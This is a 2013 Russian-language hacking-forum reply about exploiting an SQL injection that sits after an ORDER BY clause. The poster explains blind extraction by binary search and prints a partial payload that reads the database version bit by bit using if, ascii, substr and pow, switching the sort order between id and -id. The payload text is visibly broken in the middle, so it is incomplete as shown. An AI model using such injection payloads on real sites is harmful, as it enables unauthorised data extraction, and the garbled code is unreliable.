Показать сообщение отдельно

  #3  
Старый 29.11.2013, 10:10
YaBtr
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами: 7343606

Репутация: 652


По умолчанию

Цитата:
Сообщение от [R  
eD"]
[R]eD said:
Есть иньекция вида:
Код:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id {SQL-INJ}
Как сделать правильно? Или после конструкции ORDER нельзя уже ничего сделать?
Дополню ответ, который дал UXOR(может кому будет полезно):

Для эксплуатации инъекций применяется слепой метод:

Бинарный поиск всем знаком. Для того, чтобы вытащить 1 символ, нам необходимо послать 8 запросов.

Код:
SELECT if(ascii(substr(version(),1,1)) 0, 
                    # pow - возведение 2 в степень для получения необходимого числа:
                    #     2^0 = 1 = 00000001
                    #    2^1 = 2 = 00000010
                    #    2^2 = 4 = 00000100
                    # Так-же для этих целий можно использовать побитовый сдвиг
                    #    он и короче, но символы  могут фильтроваться
                    #        (Выше они используются для упрощения)
                    # 1 > (SELECT 1) = 2
                id, -id
        ))), 1000) LIMIT 9;
Так, что есть пища для размышления.
 
Ответить с цитированием